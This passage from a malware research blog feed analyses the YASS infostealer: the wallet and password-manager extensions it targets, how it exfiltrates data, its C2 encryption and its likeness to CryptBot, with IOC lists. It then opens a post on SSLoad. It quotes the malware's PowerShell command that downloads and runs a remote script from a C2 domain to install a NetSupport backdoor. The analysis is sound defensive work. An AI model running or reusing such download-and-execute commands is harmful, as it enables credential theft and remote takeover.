&lt;td style="text-align: left"&gt;&lt;code&gt;bhhhlbepdkbapadjdnnojkbgioiodbic&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Solflare Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;opcgpfmipidbgpenhmajoajpbobppdil&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Sui Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nngceckbapebfimnlniiiahkandclblb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Bitwarden&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hdokiejnpimakedhajhdlcegeplioahd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;LastPass&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;kkpllkodjeloidieedojogacfhpaihoh&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Enkrypt Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;acmacodkjbdgmoleebolmdjonilkdbch&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Rabby Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;gaedmjdfmmahhbjefcbgaolhhanlaolb&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Authy&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hifafgmccdpekplomjjkcfgodnhcellj&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Crypto.com&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;klnaejjgbibmhlephnhpmaofohgkpgkd&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;ZilPay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aholpfdialjgjfhomihkjbmgjidlcdno&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Exodus Web3 Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;egjidjbpglichdcondbcbdnbeeppgdph&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Trust Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;efbglgofoippbgcjepnhiblaibcnclgk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Martian&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;mcohilncbfahbmgdjkbpemcciiolgcge&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;OKX Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;bhghoamapcdpbohphigoooaddinpkbai&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Authenticator&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;aflkmfhebedbjioipglgcbcmnbpgliof&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Backpack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;idnnbdplmphpflfnlkomgpfbpcgelopg&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Xverse Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ppbibelpcjmhbdihakflkdcoccbgbkpo&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;UniSat Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;omaabbefbmiijedngplfjmnooppbclkk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Tonkeeper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;lgmpcpglpngdoalbgeoldeajfclnhafa&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;SafePal Extension Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;dmkamcknogkgcdfhhbddcghachkejeap&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Keplr&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;ookjlbkiijinhpmnjffcofjonbfbgaoc&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Temple Tezos Wallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;nlbmnnijcnlegkjjpcfjclmcfggfefdm&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;MyEtherWallet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;cjelfplplebdjjenllpjcblmjkfcffne&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Jaxx Liberty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;hpglfhgfnhbgpjdenjgmdgoeiappafln&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Guarda&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;fhmfendgdocmcbmfikdcogofphimnkno&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Sollet&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left"&gt;&lt;code&gt;imloifkgjagghnncjkhggdhalmcnfklk&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left"&gt;Trezor Password Manager&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The stealer also searches for other more generic folders that might hold
sensitive browser and wallet information. The stealer will look for references
to login data, cookies, web data, user data, backups and wallets. Brave browser
and Telegram are targeted also.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig18.png" title="Targeted Files" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Targeted Files&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The stolen files are built up into a structured ZIP file before being
exfiltrated. Along with a log of the stolen files, and a screenshot of the
victim machine.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig19.png" title="Exfiltrated Data Structure" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Exfiltrated Data Structure&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The directories in the exfiltrated ZIP file are structured in a way to help the
recipient threat actor better navigate the stolen data. The main categories
are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Apps&lt;/li&gt;
&lt;li&gt;Browsers&lt;/li&gt;
&lt;li&gt;Files&lt;/li&gt;
&lt;li&gt;Wallets&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The infostealer has an optional auxiliary method of stealing. YASS can iterate
through a number of hardcoded drives and look for files which it considers
&amp;ldquo;Other&amp;rdquo; category, sending it to a different server from the main activities.
This may be used to attempt to collect miscellaneous files to run parsers
through at a later stage.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig20.png" title="Additional Stealing Method" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Additional Stealing Method&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Information Gathering&lt;span class="hx:absolute hx:-mt-20" id="information-gathering"&gt;&lt;/span&gt;
&lt;a href="#information-gathering" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS will gather information, into a text file, about the infected computer to
send to the C2. The information is gathered mainly from the registry or through
Windows API calls. Information includes localized information about the machine
such as username and language, as well as physical aspects such as the
processor, RAM, and GPU. This is collated into a text file before being sent to
the C2.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig21.png" title="Completed Fingerprint TXT File" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Completed Fingerprint TXT File&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;C2 Communication&lt;span class="hx:absolute hx:-mt-20" id="c2-communication"&gt;&lt;/span&gt;
&lt;a href="#c2-communication" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;YASS communicates with the C2 via HTTP POST requests. All information and
stolen files are first collected and packaged into a ZIP file. Before the ZIP
file is sent to the C2, it is encrypted via RC4 using an interesting technique.
YASS will generate a unique key for each file sent.&lt;/p&gt;
&lt;p&gt;The unique key is a concatenation of a key from the decrypted block of strings
and a dynamically generated key that is unique with each POST request. In order
for the server to be able to decrypt the data, the latter half of the RC4 key
is shared through the filename metadata of the form data. This increases
resistance to decryption of the stolen data by unauthorized parties, and also
makes detection harder for defenders as there are no discernible patterns in
order to create detections based on network signatures.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig22.png" title="Format of RC4 Encryption Key" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Format of RC4 Encryption Key&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;YASS does not expect any specific reply from the server. The server will reply
&amp;ldquo;OK&amp;rdquo; when it receives information from the stealer.&lt;/p&gt;
&lt;h3&gt;NetSupport Client&lt;span class="hx:absolute hx:-mt-20" id="netsupport-client"&gt;&lt;/span&gt;
&lt;a href="#netsupport-client" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The stealer also has the ability to drop the NetSupport Client as a backdoor
for the infected machine. The client is deployed via a PowerShell command and
script.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="n"&gt;powershell&lt;/span&gt; &lt;span class="n"&gt;-NoP&lt;/span&gt; &lt;span class="n"&gt;-NonI&lt;/span&gt; &lt;span class="n"&gt;-ExecutionPolicy&lt;/span&gt; &lt;span class="n"&gt;Bypass&lt;/span&gt; &lt;span class="n"&gt;-Command&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$Resp&lt;/span&gt;&lt;span class="s2"&gt; = Invoke-WebRequest -Uri &amp;#39;https://brewdogebar[.]com/code.vue&amp;#39; -UseBasicParsing -UserAgent &amp;#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36&amp;#39;; &lt;/span&gt;&lt;span class="nv"&gt;$Scr&lt;/span&gt;&lt;span class="s2"&gt; = [System.Text.Encoding]::UTF8.GetString(&lt;/span&gt;&lt;span class="nv"&gt;$Resp&lt;/span&gt;&lt;span class="s2"&gt;.Content); IEX &lt;/span&gt;&lt;span class="nv"&gt;$Scr&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The PowerShell command reaches out to a server to download an additional
script. The
&lt;a href="https://gist.github.com/aslefhewqiwbepqwefbpqsciwueh/bfd728e043262c90ef5af2e8228bbf6c"target="_blank" rel="noopener"&gt;PowerShell script&lt;/a&gt;
downloads components for the NetSupport remote access tool, with a
configuration file. The script also sets persistence and informs the server if
target crypto wallet folders are detected.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig23.png" title="PowerShell Script Downloading NetSupport" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;PowerShell Script Downloading NetSupport&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;CryptBot - CryptNot - CryptWhat?!&lt;span class="hx:absolute hx:-mt-20" id="cryptbot---cryptnot---cryptwhat"&gt;&lt;/span&gt;
&lt;a href="#cryptbot---cryptnot---cryptwhat" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Over the years CryptBot has been under continuous development. The
modifications of CryptBot have been documented in other blogs, particularly by
AhnLab [&lt;a href="https://asec.ahnlab.com/en/26052/"target="_blank" rel="noopener"&gt;1&lt;/a&gt;,
&lt;a href="https://asec.ahnlab.com/en/31802/"target="_blank" rel="noopener"&gt;2&lt;/a&gt;]. Much like the
&lt;a href="https://en.wikipedia.org/wiki/Ship_of_Theseus"target="_blank" rel="noopener"&gt;Ship of Theseus&lt;/a&gt;, this
infostealer challenges the essence of identity. Though its code has been
entirely replaced compared to its original versions. The behavioral echoes are
unmistakable, pointing to the same malware developer behind it. With this in
mind, we wish to talk about some of the similarities and differences.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig24.png" title="Initial Triage Showing Unknown Code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Initial Triage Showing Unknown Code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;When we first came across this file, we did not see any significant code
overlap with any other known code stealers. There is a notable overlap in
targeted software with other stealers, particularly LummaC2. Another similarity
with LummaC2 is the use of ZIP files and a
&lt;a href="https://outpost24.com/blog/everything-you-need-to-know-lummac2-stealer/"target="_blank" rel="noopener"&gt;one-way command and control server&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The strings share many overlaps with other stealers. This would be quite
expected as competing malware developers would be able to see what folders or
applications their competitors are targeting and add those paths to their own
stealing mechanisms. YASS shares strings with Vidar, AMOS, ImBetter, RedLine,
Sharp, Arkei, Atomic, and SolarMarker&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2024/09/cryptbot-yet-another-silly-stealer-yass/images/fig25.png" title="Related Strings" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Related Strings&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;While YASS uses techniques similar to CryptBot, the implementation is
different. The shared techniques with CryptBot include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use of a folder as a mutex&lt;/li&gt;
&lt;li&gt;Exfil server using a &amp;ldquo;.top&amp;rdquo; TLD.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://fr3d.hk/blog/cryptbot-too-good-to-be-true"target="_blank" rel="noopener"&gt;Stealing SQLite database files&lt;/a&gt;
instead of querying the data.&lt;/li&gt;
&lt;li&gt;Similar system information report structure.&lt;/li&gt;
&lt;li&gt;Similar POST request to the exfil server.&lt;/li&gt;
&lt;li&gt;Shared strings&lt;/li&gt;
&lt;li&gt;Secondary exfil server&lt;/li&gt;
&lt;li&gt;Additional payload deployment&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even though we see these similarities, we aren&amp;rsquo;t comfortable classifying YASS
as just a newer version of CryptBot. There are also some significant
differences. This stealer doesn&amp;rsquo;t have a well-structured configuration, uses a
different encryption scheme, and has hardcoded functionality, via PowerShell,
to download and install the NetSupport client. Many of the format strings look
very similar but use different specifiers, the produced strings look the same,
but the &amp;ldquo;implementation&amp;rdquo; is different. YASS also has some unused strings that
are used by CryptBot. It&amp;rsquo;s like all the code has been rewritten, and a few
strings have been forgotten and left, much like
&lt;a href="https://en.wikipedia.org/wiki/Vestigiality"target="_blank" rel="noopener"&gt;vestigial organs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can&amp;rsquo;t tell if the strings have been planted and that YASS has been made to
imitate CryptBot as much as possible. It is
&lt;a href="../../../2021/09/vermilionstrike-reimplementation-cobaltstrike/"&gt;not&lt;/a&gt; the
first time we have come across malware that imitates other malware. So are we
seeing an attempt to deflect suspicion towards malware that&amp;rsquo;s in the hot water?
In April 2023, the United States District Court Southern District Of New York
unsealed a
&lt;a href="https://regmedia.co.uk/2023/04/28/handout_google_cryptbot_complaint.pdf"target="_blank" rel="noopener"&gt;complaint filed&lt;/a&gt;
by Google against some distributors and the creator of CryptBot, so making your
infostealer appear as CryptBot may keep a target off your back. The alternative
is a &amp;ldquo;Ship of Theseus&amp;rdquo;. Either way, we are happy to present CryptBot&amp;rsquo;s latest
step-sibling: YASS.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;LNK file&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;e3bf61f6f96d1a121a1f7f47188cd36fc51f4565ca8cd8fc07207e56a038e7ca&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;HTA (EXE)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;fd7654c5bb79652bc0db2696da35497b9aff2c783ec4c83705d33d329dc742d8
https://nextomax.b-cdn[.]net/nexto (Hosting Server)
https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png (Pinged by PowerShell Script)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;ZIP&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;b2080e7705283fce7e03c8895977c5e8c451b5f8a6eb3faecb8acb986a1587c6
https://nextomax.b-cdn[.]net/L2.zip (Hosting Server)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;IDATLOADER&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;4810333bf96fb808604f3657118c734c3dd8ee4baa3e6ffe8da548ae0c8e15d3&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;YASS (Stealer)&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;7ac46eb84f4b6d25601f23d2c30b7e80b6f3b2d82d3240234fc50af75290a29f (Unpacked from IDATLOADER)
rceight8sr[.]top
grabios[.]org&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;NetSupport RAT&lt;/strong&gt;&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;brewdogebar[.]com (Hosting Server)
enotik5050[.]com
barsuk5050[.]com
94.232.244[.]133&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Dissecting SSLoad Malware: A Comprehensive Technical Analysis</title><link>https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/</link><pubDate>Mon, 10 Jun 2024 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2024/06/ssload-technical-malware-analysis/</guid><description>
&lt;p&gt;SSLoad is a stealthy malware that is used to infiltrate systems through
phishing emails, gather reconnaissance and transmit it back to its operators
while delivering various payloads. Recently, Unit42 highlighted an active
campaign leveraging SSLoad in their attack arsenal.
&lt;a href="https://twitter.com/Unit42_Intel/status/1781326222019932535"target="_blank" rel="noopener"&gt;One attack vector&lt;/a&gt;
involves a decoy Word document that delivers an SSLoad DLL, which eventually
executes Cobalt Strike.
&lt;a href="https://twitter.com/Unit42_Intel/status/1780021135813337366"target="_blank" rel="noopener"&gt;The other attack&lt;/a&gt;
utilizes a phishing email that leads to a fake Azure page, downloading a
JavaScript script that ultimately downloads an MSI installer, which loads the
SSLoad payload.&lt;/p&gt;
&lt;p&gt;SSLoad is a new malware that has been targeting victims since April 2024. A
recent
&lt;a href="https://www.securonix.com/blog/securonix-threat-research-security-advisory-frozenshadow-attack-campaign/"target="_blank" rel="noopener"&gt;report&lt;/a&gt;
by Secournix highlighted the latest SSLoad activity, and we are already seeing
additional delivery variants. The diverse delivery methods uncovered by our
technical analysis suggest its use in &lt;strong&gt;Malware-as-a-Service (MaaS)&lt;/strong&gt;
operations, highlighting its versatile nature.&lt;/p&gt;
&lt;p&gt;This blog presents a detailed technical analysis of the loaders and payloads
used in these campaigns. We examined the payloads, techniques, and
functionality at each stage of the malware execution chain. Our analysis also
includes conclusions drawn from additional IOCs identified through
threat-hunting and pivoting efforts. We aim to shed more light on the technical
functionality of this rapidly evolving malware.&lt;/p&gt;
